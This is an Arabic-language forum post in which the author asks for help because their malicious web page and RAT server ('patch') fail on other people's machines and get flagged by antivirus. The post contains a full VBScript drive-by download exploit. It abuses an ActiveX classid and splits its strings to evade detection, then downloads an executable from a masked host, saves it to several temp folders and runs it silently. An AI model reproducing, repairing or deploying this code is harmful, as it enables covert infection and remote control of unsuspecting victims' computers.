السلام عيكم شبابو
كيفكون
اخيرا بعد جهد جهد وعناء عنيد فتحنا بورت بالمودم ><<<<<<هع
وجاتني مشكلة تانية
الصفحة لملغمة ماتشتغل
بجربها علي علي تشتغل بعطيها لواحد ماتشتغل مع العلم انو البرنامج المستخدم بوازيين
والباتش لما ارسله لاحد يجي التبليغ
فيدوننا الله يوفقكم


الثغرة
كود PHP:
<html>
<head>
<title>XP</title>
</head>
<body>
<script type="****/vbscript">
on error resume next
Set df = ********.createElement("object")
df.setAttribute "clas"&"sid", "clsid:BD96C"&"556-65A3-11D0-"&"983A-00C04F"&"C29E36"
str="Microsoft"&"."&"XMLHTTP"
Set x = df.CreateObject(str,"")
var1="Ad"
var2="od"
var3="b."
var4="St"
var5="re"
var6="am"
str1=var1&var2&var3&var4&var5&var6
str5=str1
set S = df.createobject(str5,"")
for count = 0 to 4
S.type = 1
lnk="http://xxxxxxxxxxxx.com/Calc.exe"
x.Open "G"&"E"&"T",lnk,0
x.Send
set F = df.createobject("Script"&"ing.FileSys"&"temObject" ,"")
if count = 0 then tmp = "c:\******s\temp" else if count = 1 then tmp = "c:\" else if count = 2 then tmp = "c:temp" else if count = 3 then tmp = "d:******stemp" else if count = 4 then tmp = "d:" end if
fname1= F.BuildPath(tmp,"Odesa.exe")
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
if err.number = 0 then
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"INSTALL","","open",0
exit for
else
Err.Clear
End if
next
***********
</body>
</html>